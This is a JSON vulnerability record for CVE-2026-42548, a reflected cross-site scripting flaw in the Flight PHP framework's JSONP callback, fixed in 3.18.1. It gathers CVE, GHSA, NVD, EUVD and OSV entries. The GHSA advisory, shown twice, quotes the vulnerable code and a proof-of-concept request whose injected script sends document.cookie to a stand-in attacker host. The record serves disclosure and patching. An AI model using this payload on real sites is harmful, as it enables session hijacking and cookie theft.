{"id":"CVE-2026-42548","aliases":["EUVD-2026-30147","GHSA-fcx8-ph5r-mxr4"],"status":"published","title":"Flight: Reflected XSS via unvalidated JSONP callback in Flight::jsonp()","description":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting. This vulnerability is fixed in 3.18.1.","severity":{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00449,"percentile":0.39358,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-05-06T21:34:15Z","modified":"2026-10-28T02:30:49Z","fixes":[{"ecosystem":"Packagist","package":"flightphp/core","fixed_in":["3.18.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"flightphp/core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.18.1"}]}]},{"source":"osv","ecosystem":"Packagist","package":"flightphp/core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.18.1"}]}],"versions":["v1.0","v1.1","v1.1.10","v1.1.5","v1.2","v1.2.13","v1.2.14","v1.2.15","v1.2.17","v1.2.18","v1.2.19","v1.2.20","v1.2.21","v1.2.22","v1.3.0","v1.3.1","v1.3.2","v1.3.3","v1.3.4","v1.3.5","v1.3.7","v1.3.8","v1.3.9","v2.0.0","v2.0.1","v3.0.0","v3.0.1","v3.0.2","v3.1.0","v3.1.1","v3.10.0","v3.10.1","v3.11.0","v3.11.1","v3.12.0","v3.13.0","v3.13.1","v3.14.0","v3.15.0","v3.15.1","v3.15.2","v3.15.3","v3.16.0","v3.16.1","v3.17.0","v3.17.1","v3.17.2","v3.17.3","v3.17.4","v3.18.0","v3.2.0","v3.3.0","v3.4.0","v3.4.1","v3.4.2","v3.5.0","v3.5.2","v3.5.3","v3.6.0","v3.6.1","v3.6.2","v3.7.0","v3.7.1","v3.7.2","v3.8.0","v3.8.1","v3.9.0"]}],"products":[{"vendor":"flightphp","product":"core"},{"vendor":"opnsense","product":"core"}],"references":[{"url":"https://github.com/flightphp/core/security/advisories/GHSA-fcx8-ph5r-mxr4","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42548","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-fcx8-ph5r-mxr4"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42548.json","tags":["advisory"]},{"url":"https://github.com/flightphp/core","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-42548","title":"Flight: Reflected XSS via unvalidated JSONP callback in Flight::jsonp()","description":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting. This vulnerability is fixed in 3.18.1.","status":"published","published":"2026-05-13T19:21:44.125Z","modified":"2026-05-14T12:32:32.147Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T13:40:23.731501Z"}],"euvd":[{"id":"EUVD-2026-30147","description":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting. This vulnerability is fixed in 3.18.1.","status":"published","published":"2026-05-13T19:21:44Z","modified":"2026-05-14T12:32:32Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N","level":"high"}],"updated_at":"2026-11-02T19:04:31.58892Z"}],"ghsa":[{"id":"GHSA-fcx8-ph5r-mxr4","title":"Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp() ","description":"### Summary\n`Flight::jsonp()` concatenates the `?jsonp=` query parameter directly into an `application/javascript` response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.\n\n### Affected code\n`flight/Engine.php` (≈ lines 1000-1013):\n\n```php\n$callback = $this-\u003erequest()-\u003equery[$param];\n$this-\u003eresponse()\n    -\u003estatus($code)\n    -\u003eheader('Content-Type', 'application/javascript; charset=' . $charset)\n    -\u003ewrite($callback . '(' . $json . ');');\n```\n\nNo regex or identifier validation is performed before the callback is written.\n\n### Proof of concept\nGiven any route that calls `Flight::jsonp($data)`:\n\n```\nGET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//\n```\n\nReproduced response (`Content-Type: application/javascript`):\n\n```\n;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({\"ok\":true,\"msg\":\"hello\"});\n```\n\nWhen the vulnerable endpoint is loaded via `\u003cscript src=\"https://victim.tld/api?jsonp=…\"\u003e` on a page controlled by the attacker, the injected JavaScript executes in the `victim.tld` origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow.\n\n### Impact\n- Reflected XSS in any application calling `Flight::jsonp()`.\n- Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages.\n- Exfiltration of authenticated API responses.\n\n### Patch (fixed in `3.18.1`, commit `b8dd23a`)\n`_jsonp()` now validates the callback name against `^[A-Za-z_$][\\w$.]{0,127}$` before emitting it. An empty callback (no `jsonp` parameter) still behaves as before.\n\n### Credit\nDiscovered by **@Rootingg**.","status":"published","published":"2026-05-06T21:34:15Z","modified":"2026-05-14T20:39:55Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:40:09.033429Z"}],"nvd":[{"id":"CVE-2026-42548","description":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting. This vulnerability is fixed in 3.18.1.","status":"published","published":"2026-05-13T20:16:21.787Z","modified":"2026-10-26T14:10:00.13Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:19.020465Z"}],"osv":[{"id":"CVE-2026-42548","title":"Flight: Reflected XSS via unvalidated JSONP callback in Flight::jsonp()","description":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting. This vulnerability is fixed in 3.18.1.","status":"published","published":"2026-05-13T19:21:44.125Z","modified":"2026-10-28T02:30:49.059029263Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:45:04.117819Z"},{"id":"GHSA-fcx8-ph5r-mxr4","title":"Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp() ","description":"### Summary\n`Flight::jsonp()` concatenates the `?jsonp=` query parameter directly into an `application/javascript` response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.\n\n### Affected code\n`flight/Engine.php` (≈ lines 1000-1013):\n\n```php\n$callback = $this-\u003erequest()-\u003equery[$param];\n$this-\u003eresponse()\n    -\u003estatus($code)\n    -\u003eheader('Content-Type', 'application/javascript; charset=' . $charset)\n    -\u003ewrite($callback . '(' . $json . ');');\n```\n\nNo regex or identifier validation is performed before the callback is written.\n\n### Proof of concept\nGiven any route that calls `Flight::jsonp($data)`:\n\n```\nGET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//\n```\n\nReproduced response (`Content-Type: application/javascript`):\n\n```\n;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({\"ok\":true,\"msg\":\"hello\"});\n```\n\nWhen the vulnerable endpoint is loaded via `\u003cscript src=\"https://victim.tld/api?jsonp=…\"\u003e` on a page controlled by the attacker, the injected JavaScript executes in the `victim.tld` origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow.\n\n### Impact\n- Reflected XSS in any application calling `Flight::jsonp()`.\n- Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages.\n- Exfiltration of authenticated API responses.\n\n### Patch (fixed in `3.18.1`, commit `b8dd23a`)\n`_jsonp()` now validates the callback name against `^[A-Za-z_$][\\w$.]{0,127}$` before emitting it. An empty callback (no `jsonp` parameter) still behaves as before.\n\n### Credit\nDiscovered by **@Rootingg**.","status":"published","published":"2026-05-06T21:34:15Z","modified":"2026-05-14T20:50:58.863502Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:46.39441Z"}]}}